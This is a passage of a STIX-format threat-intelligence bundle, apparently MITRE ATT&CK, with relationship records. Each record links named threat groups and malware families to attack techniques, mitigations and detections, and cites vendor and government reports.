2024.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide#block-execution-of-potentially-obfuscated-scripts"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T12:39:48.593Z","description":"On Windows 10+, enable Attack Surface Reduction (ASR) rules to block execution of potentially obfuscated scripts.(Citation: Obfuscated scripts)\n\nSecurity tools should be configured to analyze the encoding properties of files and detect anomalies that deviate from standard encoding practices.","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0e2c414-9356-4eb6-89d5-fe1afb62780f","created":"2021-11-22T15:58:09.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.","url":"https://www.secureworks.com/research/bronze-president-targets-ngos"},{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.088Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can be installed via DLL side-loading.(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0e944fa-6dba-47c3-920a-cf7bad2d3bc5","type":"relationship","created":"2019-05-28T16:36:50.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times","source_name":"Proofpoint TA505 June 2018"}],"modified":"2019-06-24T19:11:41.253Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has leveraged malicious Word documents that abused DDE.(Citation: Proofpoint TA505 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0e9a1f7-8600-4558-9d2e-91126c42b126","type":"relationship","created":"2019-06-21T16:45:15.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-11-16T17:37:45.741Z","description":"Network segmentation can be used to isolate infrastructure components that do not require broad network access.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0ee1b3c-23e7-46fc-a6b7-b1a633f72955","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts.","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0ef3f47-5651-4638-a007-cb585d3174b0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3909-99","description":"Ladley, F. (2012, May 15). Backdoor.Ritsol. Retrieved February 23, 2018.","source_name":"Symantec Ristol May 2012"}],"modified":"2019-03-22T20:15:19.490Z","description":"The Ritsol backdoor trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) can download files onto a compromised host from a remote location.(Citation: Symantec Ristol May 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0f49935-c4e4-4322-8748-2129915950c7","type":"relationship","created":"2020-05-05T15:33:17.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HOTCROISSANT February 2020","url":"https://www.us-cert.gov/ncas/analysis-reports/ar20-045d","description":"US-CERT. (2020, February 20). MAR-10271944-1.v1 – North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."}],"modified":"2020-05-06T19:28:22.318Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to identify the IP address of the compromised machine.(Citation: US-CERT HOTCROISSANT February 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f106c0c2-b83c-44b2-ab93-161e325f6a42","created":"2022-09-23T15:36:25.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:30:52.822Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can Base64 encode its C2 address stored in a template binary with the `xyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw_-` or\n`xyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw_=` character sets.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1091b2c-ea09-402b-9717-8b7526fb5c13","type":"relationship","created":"2020-05-26T21:02:38.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}],"modified":"2020-06-08T16:07:36.281Z","description":"The [Netwalker](https://attack.mitre.org/software/S0457) DLL has been injected reflectively into the memory of a legitimate running process.(Citation: TrendMicro Netwalker May 2020)\t","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f10beefd-2bc1-4657-9c55-0ee28905b9ac","created":"2022-10-05T16:13:50.041Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T16:13:50.041Z","description":"[CostaBricks](https://attack.mitre.org/software/S0614) has used a number of API calls, including `VirtualAlloc`, `VirtualFree`, `LoadLibraryA`, `GetProcAddress`, and `ExitProcess`.(Citation: BlackBerry CostaRicto November 2020) ","relationship_type":"uses","source_ref":"malware--5d342981-5194-41e7-b33f-8e91998d7d88","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f1122ac6-d8f4-43d4-9102-0a41db245b69","created":"2022-08-24T14:50:57.994Z","x_mitre_version":"0.1","external_references":[{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) can uninstall its loader through the use of a `Sdl` command.(Citation: Proofpoint Bumblebee April 2022)","modified":"2022-08-24T14:50:57.994Z","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f1183695-42c7-4d17-81b3-18d3fdd8822a","created":"2022-01-25T15:21:10.089Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CharmPower](https://attack.mitre.org/software/S0674) has the ability to enumerate `Uninstall` registry values.(Citation: Check Point APT35 CharmPower January 2022)","modified":"2022-04-08T18:47:34.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f11ab582-8ea8-4ed7-9b1e-2b31dce390da","type":"relationship","created":"2020-12-11T16:17:16.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T16:17:16.696Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has utilized tools to capture mouse movements.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f120a700-dcac-4c8d-8e92-d6ba3491c2ba","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."},{"source_name":"Volexity Patchwork June 2018","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) contains a .NET wrapper DLL for creating and managing scheduled tasks for maintaining persistence upon reboot.(Citation: Volexity Patchwork June 2018)(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-02T16:01:23.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f12643cb-1ff8-49b9-a57e-38246a46c428","created":"2022-08-15T16:46:28.550Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[StrifeWater](https://attack.mitre.org/software/S1034) can download updates and auxiliary modules.(Citation: Cybereason StrifeWater Feb 2022)","modified":"2022-08-15T16:46:28.550Z","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1286eda-5b9a-4fd9-a506-bcc3b2870550","type":"relationship","created":"2020-03-17T19:02:00.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","source_name":"Cybereason Astaroth Feb 2019"}],"modified":"2020-03-17T19:02:00.669Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) spawns a CMD process to execute commands. (Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f12b1234-4eb8-4b3d-8b84-50df8dfa8df9","created":"2023-03-14T17:48:56.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T18:26:42.303Z","description":"Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10+ to analyze commands after being processed/interpreted. ","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f130830a-f796-43a0-8415-58ad2b3aae63","created":"2022-07-08T14:22:34.477Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepySnail](https://attack.mitre.org/software/S1024) can execute `getUsername` on compromised systems.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-07-25T16:19:32.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d23de441-f9cf-4802-b1ff-f588a11a896b","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f13b18fe-1596-453f-8dba-43cfa848a5e7","created":"2022-09-26T15:23:34.962Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T15:23:34.962Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can enumerate all logical drives on a targeted machine.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1456e13-5f3f-4dac-a002-2bd78c36348a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","source_name":"Forcepoint Monsoon"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2019-07-11T13:53:06.123Z","description":"(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1459bdf-06ae-435a-8506-1e8e444a410b","type":"relationship","created":"2020-06-01T15:46:47.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-15T22:35:29.449Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has been seen injecting a DLL into winword.exe.(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f147e87d-1ed7-4ab3-a414-0537a9bfb887","created":"2024-02-06T19:12:19.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft East Asia Threats September 2023","description":"Microsoft Threat Intelligence. (2023, September). Digital threats from East Asia increase in breadth and effectiveness. Retrieved February 5, 2024.","url":"https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RW1aFyW"},{"source_name":"NSA APT5 Citrix Threat Hunting December 2022","description":"National Security Agency. (2022, December). APT5: Citrix ADC Threat Hunting Guidance. Retrieved February 5, 2024.","url":"https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF"},{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"},{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-14T18:53:21.578Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has exploited vulnerabilities in externally facing software and devices including Pulse Secure VPNs and Citrix Application Delivery Controllers.(Citation: Mandiant Pulse Secure Zero-Day April 2021)(Citation: Mandiant Pulse Secure Update May 2021)(Citation: NSA APT5 Citrix Threat Hunting December 2022) (Citation: Microsoft East Asia Threats September 2023)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f14c6ecd-4997-44aa-9d29-232195fd4a82","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:24:11.239Z","description":"[POORAIM](https://attack.mitre.org/software/S0216) can identify system information, including battery status.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--53d47b09-09c2-4015-8d37-6633ecd53f79","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f14f7949-81d3-4730-91cf-263ef8487708","created":"2022-03-25T16:21:29.443Z","x_mitre_version":"1.0","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) has been used to run the tasklist command on a compromised system.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T20:29:55.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f1598913-b99f-456a-84ae-17777091e2ef","created":"2024-02-23T20:45:04.199Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-23T20:45:04.199Z","description":"[APT41](https://attack.mitre.org/groups/G0096) uses remote shares to move and remotely execute payloads during lateral movemement.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f16c18f0-c5ac-4ea2-bfd0-222e63c09018","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"PWC Cloud Hopper April 2017","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[menuPass](https://attack.mitre.org/groups/G0045) has used Putty Secure Copy Client (PSCP) to transfer data.(Citation: PWC Cloud Hopper April 